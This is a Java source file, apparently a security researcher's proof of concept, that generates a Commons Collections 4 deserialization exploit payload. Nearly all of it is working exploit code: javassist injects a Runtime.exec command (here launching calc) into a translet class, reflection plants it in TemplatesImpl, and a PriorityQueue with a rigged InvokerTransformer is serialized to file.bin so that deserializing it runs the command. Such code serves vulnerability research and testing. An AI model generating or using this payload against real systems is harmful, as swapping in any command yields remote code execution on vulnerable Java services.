package vul.ccbug;


import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import vul.util.*;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;


import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


/**
 * @ClassName: CC4_1
 * @Description: TODO
 * @Author: Summer
 * @Date: 2020/5/13 21:28
 * @Version: v1.0.0
 * @Description: CommonsCollections4的第一条gadget chain
 * Gadget chain:
 *     ObjectInputStream.readObject()
 *         PriorityQueue.readObject()
 *             ...
 *                 TransformingComparator.compare()
 *                     InvokerTransformer.transform()
 *                         Method.invoke()
 *                             TemplatesImpl.newTransformer()
 *                                 TemplatesImpl.getTransletInstance()
 *                                     TemplatesImpl.defineTransletClasses()
 *                                         Runtime.exec()
 **/
public class CC4_1 {

    public static void main(String[] args) throws Exception {


        // 获取类和对象
        Class tpl = TemplatesImpl.class;
        Object templates = tpl.newInstance();
        Class abstTranslet = AbstractTranslet.class;
        Class transFactory =  TransformerFactoryImpl.class;


        // 获取默认系统类搜索路径
        ClassPool pool = ClassPool.getDefault();
        // 添加额外的类搜索路径
        pool.insertClassPath(new ClassClassPath(Payload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        // 获取我们恶意payload的对象
        final CtClass clazz = pool.get(Payload.class.getName());
        // 静态初始化时插入执行命令的字节码
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // 将初始化后的类设置新的名字
        clazz.setName("Summer" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        // 设置父类为AbstractTranslet
        clazz.setSuperclass(superC);
        // 获取修改后的字节码
        final byte[] classBytes = clazz.toBytecode();


        // 修改字节码
        Field field = templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{classBytes});


        // 通过反射修改templates的值 触发反序列化漏洞
        Field field1 = templates.getClass().getDeclaredField("_name");

        field1.setAccessible(true);
        field1.set(templates,"Summmer");
        Field field2 = templates.getClass().getDeclaredField("_tfactory");
        field2.setAccessible(true);
        field2.set(templates,transFactory.newInstance());


        // 先创建反射InvokerTransformer后修改值
        InvokerTransformer transformer = new InvokerTransformer("toString",
                new Class[0], new Object[0]);
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
                new TransformingComparator(transformer));

        // 这里queue要占两个位，比较方法是要两个才能比较
        // 两个位的都要是一个类型，这里都是Object
        queue.add(templates);
        queue.add(new VerifyError("Summer"));

        Field field3 = transformer.getClass().getDeclaredField("iMethodName");
        field3.setAccessible(true);
        field3.set(transformer,"newTransformer");



        //将内容写入文件流中
        File file = new File("file.bin");
        FileOutputStream fos = new FileOutputStream(file);
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(queue);
        oos.flush();


    }

}
